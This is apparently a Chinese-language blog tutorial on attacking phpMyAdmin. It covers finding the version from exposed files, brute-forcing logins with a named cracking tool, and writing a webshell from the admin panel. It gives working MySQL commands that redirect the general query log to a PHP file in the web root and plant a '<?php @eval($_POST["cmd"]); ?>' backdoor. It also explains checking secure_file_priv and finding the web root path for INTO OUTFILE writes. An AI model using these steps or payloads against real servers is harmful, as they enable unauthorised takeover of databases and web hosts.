前言
phpMyAdmin 是一个用PHP编写的开源软件工具,可以通过web方式控制和操作MySQL数据库。通过phpMyAdmin 可以完全对数据库进行操作,例如建立、复制和删除数据等。
phpmyadmin目前更新到5.2.1
历史版本:phpMyAdmin - ChangeLog
github地址:GitHub - phpmyadmin/phpmyadmin: A web interface for MySQL and MariaDB
phpMyAdmin版本判断
通过登录界面
但很多时候都会显示404
1.尝试访问路径
/phpMyadmin/README
/phpMyadmin/changelog.php
/phpMyadmin/Change
/phpMyadmin/Documetation.html
/phpMyadmin/Documetation.txt
/phpMyadmin/translators.html
/phpMyadmin/readme.php
若管理员没有删除则可以查看到相应的版本信息。
口令枚举
phpMyAdmin的漏洞多为经过验证后可以才能利用,所以需要进入后台,可以采用bao破的方式进入后台,工具:phpMyAdmin多线程破解工具 | LuckySec
支持phpMyAdmin 2.11.10到4.4.11版本bao破。只有phpMyAdmin多线程批量po解工具 v1.5这个工具有用
写入要爆破的地址
bao破完后想继续bao破得先右键将结果清空再继续
后台Getshell
phpmyadmin getshell一般需要进入到后台,常见getshell方式如下
select into outfile直接写入
开启全局日志getshell
使用慢查询日志getsehll
使用错误日志getshell
利用phpmyadmin4.8.x本地文件包含漏洞getshell
into outfile写入webshell
使用into outfile 函数直接在网站目录下写入webshell,原理和sql注入写shell的原理一样。
利用前提:
当前数据库用户有写权限
知道web目录的绝对路径
判断当前数据库用户是否有写权限
1.1 使用如下命令查看
show variables like '%secure%';
secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。如下关于secure_file_priv的配置介绍
- secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
- 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
- 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
这里为nulll,所以没有写权限
1.2 修改secure_file_priv 的值为空
我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = '' ,从其服务器即可
此时再查看secure_file_priv的值如下已经变为空了
1.获取网站绝对路径 - 通过网站报错的方式获取
- 通过phpinfo()页面获取,搜索“DOCUMENT_ROOT”
- 通过查看数据库路径来猜测Web路径
尝试通过查看数据库路径来猜测Web路径show variables like '%datadir%'; #或者 show variables like '%basedir%'
知道了前几层目录为“E:\phpStudy\PHPTutorial\”,然后就可以尝试采用目标域名+常用的网站根目录的方式进行爆破猜测根目录绝对路径比如
日志文件写shell
MySQL 5.0版本以上会创建日志文件,我们通过修改日志文件的全局变量,就可以Getshell
利用前提 - mysql > 5.0版本
- 知道根目录
查看数据库版本大于5.0,那么应该可以通过日志写入shell
- 查看日志读写功能是否开启
show variables like '%general%';
SET GLOBAL general_log='on'
set global general_log_file = 'E:\\phpStudy\\PHPTutorial\\www\\shell2.php'
select '<?php @eval($_POST["cmd"]); ?>'
发表评论